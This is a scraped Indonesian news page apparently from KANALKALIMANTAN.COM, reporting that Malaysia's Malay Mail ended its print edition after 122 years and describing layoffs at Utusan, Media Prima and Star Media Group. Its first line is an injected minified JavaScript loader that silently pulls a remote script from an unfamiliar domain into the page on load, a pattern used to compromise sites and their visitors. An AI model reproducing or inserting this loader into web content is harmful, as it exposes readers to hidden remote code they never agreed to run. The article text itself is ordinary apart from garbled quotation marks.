(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Surat kabar Malay Mail, media cetak tertua Malaysia dan bahkan termasuk yang tertua di dunia, menerbitkan edisi terakhirnya setelah 122 tahun beredar di gelanggang media.
Bagaimanapun, surat kabar yang terkenal karena jurnalismenya yang kuat dan eksklusif, serta memiliki perjalanan yang sangat panjang dan bersejarah, pada akhirnya menyerah di tengah revolusi industri media yang mulai berasimilasi dengan teknologi.
Per 2 Desember, Malay Mail hanya tersedia dalam format daring, dan pemimpin redaksinya Datuk Wong Sai Wan menulis pesan perpisahan kepada pembaca surat kabar, meminta semua pemangku kepentingan dari pembaca hingga pengiklan untuk memulai perjalanan baru di mana ia akan melakukan segalanya serba digital untuk menginformasikan, menghibur, dan mempromosikan, menurut laporan New Straits Times, 2 Desember 2018.
Di seluruh dunia, industri surat kabar menghadapi periode terberat dan banyak surat kabar bersejarah telah menghentikan publikasi.
Misalnya saja di Kanada, puluhan surat kabar daerah telah menutup oplah selama beberapa tahun terakhir. Di Malaysia, Malay Mail sejauh ini adalah korban terbesar dari revolusi media, sementara pengurangan besar-besaran pegawai telah terjadi atau sedang berlangsung di beberapa surat kabar utama.
Baru saja kemarin, sekitar 800 karyawan Utusan Melayu Berhad, penerbit surat kabar Melayu yang berpengaruh, Utusan Malaysia, mengucapkan selamat tinggal kepada pemilik perusahaan dalam upacara yang emosional ketika mereka meninggalkan Utusan di bawah latihan skema pemisahan sukarela (VSS).
Di tempat lain, latihan serupa telah diterapkan di Media Prima, grup media terbesar, dan Star Media Group yang mem-PHK 1.000 pegawai secara keseluruhan, dan kemungkinan mengurangi lebih banyak staf.
“Model bisnis surat kabar cetak sedang jatuh karena bergantung pada iklan untuk bertahan hidup, dan ledakan akses informasi yang mudah secara digital telah membuat kita tidak berguna sebagai penyedia berita,†tulis Wong Sai Wan dalam pesan perpisahan.
“Saya suka Malay Mail terutama halaman depan saat kami mencatat kisah baik dan buruk yang terjadi di sekitar kita. Kita tidak punya pilihan. Tetapi saya yakin merek akan tetap kuat karena kami memiliki tim yang sangat bagus untuk mengembangkan merek secara digital,†katanya.
Tan Sri Johan Jaaffar, mantan ketua Media Prima Berhad, melihat fenomena ini sebagai ironi hari-hari gelap untuk surat kabar dan industri terkait yang diwarnai PHK besar-besaran.
“Industri media secara keseluruhan perlu mengubah dirinya dan perlu memikirkan kembali model bisnisnya,†kata Johan, mantan Pemimpin Redaksi Utusan Melayu, salah satu surat kabar utama Malaysia.
Ia menambahkan koran cetak tidak lagi memiliki alasan kuat untuk berbisnis, kecuali melayani orang-orang generasi tua.
Penerbit surat kabar Malay Mail Datuk Siew Ka Wei mengatakan kepada Bernama bahwa akhir koran itu adalah salah satu hari paling menyedihkan secara pribadi baginya. (tmp)
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More
This website uses cookies.